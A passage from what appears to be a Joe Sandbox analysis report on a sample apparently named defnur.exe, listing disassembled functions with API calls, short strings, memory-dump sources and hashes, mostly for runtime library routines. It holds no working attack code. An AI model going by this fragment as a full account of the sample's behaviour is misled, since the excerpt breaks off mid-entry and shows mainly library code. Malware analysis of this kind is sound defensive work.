Part of subcall function 007B80D6: GetLastError.KERNEL32(?,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?,?), ref: 007B80FE

_free.LIBCMT ref: 007BED79

Strings

p]}, xrefs: 007BECD5
x{, xrefs: 007BEB6A, 007BEC7B, 007BEB70
p{, xrefs: 007BE8FD, 007BE8B8, 007BE993, 007BE9EE, 007BEA22, 007BEB59

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: p]}$p{$x{
API String ID: 2155170405-673623608
Opcode ID: aa1073bc5485300078df3e566512f04ae1a76cd94d96f8843046deb5605c9a3d
Instruction ID: 7c02221c9afd14fc949daeff0c6802a95068a57e12ee8f8a38616a3ffcb517a8
Opcode Fuzzy Hash: aa1073bc5485300078df3e566512f04ae1a76cd94d96f8843046deb5605c9a3d
Instruction Fuzzy Hash: B051C872D01264EBCB10AF65DC4ABDA7FB8EF45350F10816AF514A7292EB7C9E40CB94

Function 007AE9D6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

X}, xrefs: 007AEAA5
Y}, xrefs: 007AEA9E

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID: Y}$X}
API String ID: 0-1104556407
Opcode ID: 8cafaacf4ba1b9954bd4d590a7e419dd0745f370dc1ce3c64319c4b946db7370
Instruction ID: 6fab7516164679461e2f77dd23cef11cb1680cb13a106702b4f4775e9729f76e
Opcode Fuzzy Hash: 8cafaacf4ba1b9954bd4d590a7e419dd0745f370dc1ce3c64319c4b946db7370
Instruction Fuzzy Hash: F541C872A00708EFD7249F7CC849BAABBA9FB85710F10872EF111DB681D679A9418790

Function 007AC710 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007AC747
___except_validate_context_record.LIBVCRUNTIME ref: 007AC74F
_ValidateLocalCookies.LIBCMT ref: 007AC7D8
__IsNonwritableInCurrentImage.LIBCMT ref: 007AC803
_ValidateLocalCookies.LIBCMT ref: 007AC858

Strings

csm, xrefs: 007AC7ED

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7f2b8290cae9a55d16fbd5651fa3f784b99fa91f37e8ca909db11657cae13cc2
Instruction ID: 5786d43d92a96439ab5a44153145acb6790cd2dbfa2eb790408f65a034cc1577
Opcode Fuzzy Hash: 7f2b8290cae9a55d16fbd5651fa3f784b99fa91f37e8ca909db11657cae13cc2
Instruction Fuzzy Hash: D3419574A01218EBCF11DF68C885A9EBBB5AF86324F148256E8159B352D73DAD11CF90

Function 007A4E30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 007A4E66
std::_Lockit::_Lockit.LIBCPMT ref: 007A4E86
std::_Lockit::~_Lockit.LIBCPMT ref: 007A4EA6
std::_Facet_Register.LIBCPMT ref: 007A4F41
std::_Lockit::~_Lockit.LIBCPMT ref: 007A4F59

Strings

9=z, xrefs: 007A4E5B

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: 9=z
API String ID: 459529453-247715729
Opcode ID: 4769c66b8882095aadd05bdb69f36720fd2ce640c340ab638563377c545af24b
Instruction ID: b2173526ebdbe8948370c32547f8fe31205a43854fddc6064fe3200b07326e6b
Opcode Fuzzy Hash: 4769c66b8882095aadd05bdb69f36720fd2ce640c340ab638563377c545af24b
Instruction Fuzzy Hash: 3041C371A00255CFCB25DF54C881B6EB7B4FB85710F14826DE8096B381DB79AD02CBC5

Function 007C1306 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007C1052: _free.LIBCMT ref: 007C1077

_free.LIBCMT ref: 007C1354

Part of subcall function 007B80D6: HeapFree.KERNEL32(00000000,00000000,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?), ref: 007B80EC
Part of subcall function 007B80D6: GetLastError.KERNEL32(?,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?,?), ref: 007B80FE

_free.LIBCMT ref: 007C135F
_free.LIBCMT ref: 007C136A
_free.LIBCMT ref: 007C13BE
_free.LIBCMT ref: 007C13C9
_free.LIBCMT ref: 007C13D4
_free.LIBCMT ref: 007C13DF

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8e077332dbe01b7341d50a84b951b88c6f42d95a84fc469bf2f7f0e4c6a3109e
Instruction ID: ccb11ed32911caf5b06f9f9e73a5daf284674847743c4342b9c3077c6450a56e
Opcode Fuzzy Hash: 8e077332dbe01b7341d50a84b951b88c6f42d95a84fc469bf2f7f0e4c6a3109e
Instruction Fuzzy Hash: 1D113071941B44E6D630BBB0CC0BFDB779C6F05740F804C3DB69A66093DA6DE5858792

Function 007B768F Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000000,?), ref: 007B76D7
__fassign.LIBCMT ref: 007B78BC
__fassign.LIBCMT ref: 007B78D9
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007B7921
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 007B7961
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 007B7A09

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 09e919ca299b4d566fd3ca5badeeaf4ff527dfb9aa8cc0194217dc44f1a95cd5
Instruction ID: 6c32dec0cd43cb95a2e9e7de4ae31ba9b3af4b2c3bd89273853a6a29c6db504f
Opcode Fuzzy Hash: 09e919ca299b4d566fd3ca5badeeaf4ff527dfb9aa8cc0194217dc44f1a95cd5
Instruction Fuzzy Hash: 7EC1A171D052589FCB15CFA8C884AEDBBB5EF49314F28816AE855FB341E6359E02CF60

Function 007B3E8F Relevance: 9.2, APIs: 6, Instructions: 221COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007B3F1F
_free.LIBCMT ref: 007B3F3A
_free.LIBCMT ref: 007B3F45
_free.LIBCMT ref: 007B4052

Part of subcall function 007BA6B0: HeapAlloc.KERNEL32(00000008,?,00000000,?,007B6E92,00000001,00000364,00000006,000000FF,?,007B1187,00782397), ref: 007BA6F1

_free.LIBCMT ref: 007B4027

Part of subcall function 007B80D6: HeapFree.KERNEL32(00000000,00000000,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?), ref: 007B80EC
Part of subcall function 007B80D6: GetLastError.KERNEL32(?,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?,?), ref: 007B80FE

_free.LIBCMT ref: 007B4048

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$Heap$AllocErrorFreeLast
String ID:
API String ID: 2104767428-0
Opcode ID: d278973848c5fe20b3a0649485bacd62fd8d1e444b067e5b04efd664af5aa29d
Instruction ID: 72869ef245ead88f75e884b674f45f1d44bbf32e3c6c20fdcd16f45d7ec7cb79
Opcode Fuzzy Hash: d278973848c5fe20b3a0649485bacd62fd8d1e444b067e5b04efd664af5aa29d
Instruction Fuzzy Hash: AE515B76A04210AFDF24BF6898457FA77B9DF84750F24009AF945EB242EE3ADE46C350

Function 007A96F6 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 007A973F
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 007A97AA
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007A97C7
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 007A9806
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007A9865
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 007A9888

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: e4868f2afc0a8bccdc56e300327e7445305695afccc70627975afa46d8cd4f57
Instruction ID: 939a9d676dbcd693a94dc1f11dd581b5e5da3ec38c00dd6c314d9cdefd631635
Opcode Fuzzy Hash: e4868f2afc0a8bccdc56e300327e7445305695afccc70627975afa46d8cd4f57
Instruction Fuzzy Hash: D251AE72610216AFEF209FA5DC45FAA7BA9EF86740F158225FA14D6150D73DDC20CBA0

Function 007A46A0 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 007A46D5
std::_Lockit::_Lockit.LIBCPMT ref: 007A46F7
std::_Lockit::~_Lockit.LIBCPMT ref: 007A4717
__Getctype.LIBCPMT ref: 007A47AD
std::_Facet_Register.LIBCPMT ref: 007A47CC
std::_Lockit::~_Lockit.LIBCPMT ref: 007A47E4

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 745df7c8fe52cfec61aef848acbc3689be89a7773eb6c613a070809d0012bd46
Instruction ID: 15fb593d8060c4f26f16a6c7ce2208be4fd8dde727ddb5e8ab121bf6780c3f79
Opcode Fuzzy Hash: 745df7c8fe52cfec61aef848acbc3689be89a7773eb6c613a070809d0012bd46
Instruction Fuzzy Hash: 9F41D471A00295CFCB15DF54C881BAEB7B4EFDA710F14826DE805AB391DB79AD01CB92

Function 007AC8D4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,007AC8CB,007AAF64,007A7C79,E072DD58,?,?,?,00000000,007CC8A7,000000FF,?,00782576,?,?), ref: 007AC8E2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 007AC8F0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 007AC909
SetLastError.KERNEL32(00000000,?,00000000,007CC8A7,000000FF,?,00782576,?,?,?,00783BA5,00000000,?,00000000,007CC240,000000FF), ref: 007AC95B

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: bdb19e75d9194711e12692ded441ac2431cb43987299483bcd240b5e2f6d745c
Instruction ID: 62c33a7ca6426d4f394f7858ae4b0659e038b9c715e8ad0389d96120fa878cb7
Opcode Fuzzy Hash: bdb19e75d9194711e12692ded441ac2431cb43987299483bcd240b5e2f6d745c
Instruction Fuzzy Hash: CB01FC3720E71AFE972627746CCD56B2754EB977B1320432EF511851E2EF2D5C026298

Function 007BEFA2 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 007BEFF0
_free.LIBCMT ref: 007BF13C

Strings

*?, xrefs: 007BEFE5

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: 468dfb2811111aadac8ef4596be962058f91cbffc954c396bb7f627da629d5aa
Instruction ID: b6562c6d84f6ebfe4f8b39a2d4396da43fb156a9bdcf864caee63397eeef776e
Opcode Fuzzy Hash: 468dfb2811111aadac8ef4596be962058f91cbffc954c396bb7f627da629d5aa
Instruction Fuzzy Hash: 19613E75E00219EFCB14DFA8C8816EDFBF5EF48710B248569E815F7301E679AE418B90

Function 007BF567 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, xrefs: 007BF56C

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
API String ID: 0-2770744244
Opcode ID: fdcca715396cf254af31986be44c88f64c0ae99eeff84a8d4bb6be74bccb9edf
Instruction ID: ff0ed87085f34192b2e25825b37d89aa2fdf74f3836a7bd44aa7363bf1bd791b
Opcode Fuzzy Hash: fdcca715396cf254af31986be44c88f64c0ae99eeff84a8d4bb6be74bccb9edf
Instruction Fuzzy Hash: 6221D071600209BF9B20AF648C88BEBB3ADEF44768B108534F914C7161EB28ED6087A1

Function 007AD927 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,007AD9E8,?,?,00000000,?,?,007ADA9A,00000002,FlsGetValue,007D33D8,007D33E0,?), ref: 007AD9B7

Strings

api-ms-, xrefs: 007AD977

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 54242c8f302ab3652df7223500ed27084fd7f0459b3345d913bf2cdf142b6ed0
Instruction ID: 4afa6d24f0c4d0e349420d597d4ffbcb33b1d34a65caafcbc26dfa75f8d58bf4
Opcode Fuzzy Hash: 54242c8f302ab3652df7223500ed27084fd7f0459b3345d913bf2cdf142b6ed0
Instruction Fuzzy Hash: 8A11E032A42221BBDF325B289C40B9B73A8EB86770F214311FD46EB690D778FD0086D5

Function 007ADDC2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,007ADDB7,?,?,007ADD7F,?,?,?), ref: 007ADDD7
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 007ADDEA
FreeLibrary.KERNEL32(00000000,?,?,007ADDB7,?,?,007ADD7F,?,?,?), ref: 007ADE0D

Strings

mscoree.dll, xrefs: 007ADDD0
CorExitProcess, xrefs: 007ADDE2

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 39a081b39d0574ece0d95db7e695e5c3908e04c192f8f5fb962c0ff9e49ba885
Instruction ID: 5896d62eaf50c33c5041e4fd538f78ae006a502ad6b5ae6097d4270fdef3f669
Opcode Fuzzy Hash: 39a081b39d0574ece0d95db7e695e5c3908e04c192f8f5fb962c0ff9e49ba885
Instruction Fuzzy Hash: 87F0A030645218FBDB21AF90ED0AB9EBBB8EF40756F5081A2F401E55A0CB7D8F00DB94

Function 007A7030 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007A71B9
__Mtx_unlock.LIBCPMT ref: 007A71CA
__Cnd_broadcast.LIBCPMT ref: 007A71F0
__Mtx_unlock.LIBCPMT ref: 007A71F6
Concurrency::cancel_current_task.LIBCPMT ref: 007A723F

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID:
API String ID: 3354401312-0
Opcode ID: 00722b846a94bb44f6e460685ca52582ce8e571e5a713a4a2394b9ac004852b8
Instruction ID: e6b1e2da55e053d63cc49a7aea9ae45ff184d02209350524f6a6ba0610455ee3
Opcode Fuzzy Hash: 00722b846a94bb44f6e460685ca52582ce8e571e5a713a4a2394b9ac004852b8
Instruction Fuzzy Hash: CC617070D01209DFDF14DFA4C945BAEBBF9BF86304F144269E805A7742DB39AA05CBA1

Function 007B072C Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,007B065E), ref: 007B074E
GetFileInformationByHandle.KERNEL32(?,?), ref: 007B07A8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,007B065E,?,000000FF,00000000,00000000), ref: 007B0836
__dosmaperr.LIBCMT ref: 007B083D
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 007B087A

Part of subcall function 007B0AA2: __dosmaperr.LIBCMT ref: 007B0AD7

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: a36298e4820496b393a2fa3698f5d830ace56e8ff3864e8263229e46769ac8e5
Instruction ID: 9c595cb113292a4280bb4fc9c7564ea20d51c35826fa3a9e920ee26c78107f1e
Opcode Fuzzy Hash: a36298e4820496b393a2fa3698f5d830ace56e8ff3864e8263229e46769ac8e5
Instruction Fuzzy Hash: CE411F75900348EFDB249FA5DC45AEFBBF9EF893007108529F556D3611E738A940CB90

Function 007C0DDB Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007C0DF3

Part of subcall function 007B80D6: HeapFree.KERNEL32(00000000,00000000,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?), ref: 007B80EC
Part of subcall function 007B80D6: GetLastError.KERNEL32(?,?,007C107C,?,00000000,?,?,?,007C131F,?,00000007,?,?,007C17C4,?,?), ref: 007B80FE

_free.LIBCMT ref: 007C0E05
_free.LIBCMT ref: 007C0E17
_free.LIBCMT ref: 007C0E29
_free.LIBCMT ref: 007C0E3B

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c6dc5556ffa90140f176c6f1a90b7e3f93c1fe36490f124c12cfd31dd6a19dd2
Instruction ID: 6b6168d9ec6dd761013e18f110986d0f000aa977ab491702651ea92133917a4f
Opcode Fuzzy Hash: c6dc5556ffa90140f176c6f1a90b7e3f93c1fe36490f124c12cfd31dd6a19dd2
Instruction Fuzzy Hash: 3FF0FF32545250EB8A74FBA4E4C5F5B73EDFA047907644C0DF519EBA11CA6CFC808AD4

Function 007BE867 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007BE96B

Part of subcall function 007BE37F: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,007BC502,?,00000000,00000000), ref: 007BE42B

Strings

p{, xrefs: 007BE9A9, 007BE9E5, 007BE9B2, 007BE9EC
p{, xrefs: 007BE8FD, 007BE8B8, 007BE993, 007BE9EE, 007BEA22, 007BEA5F, 007BEAB4, 007BEB19

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
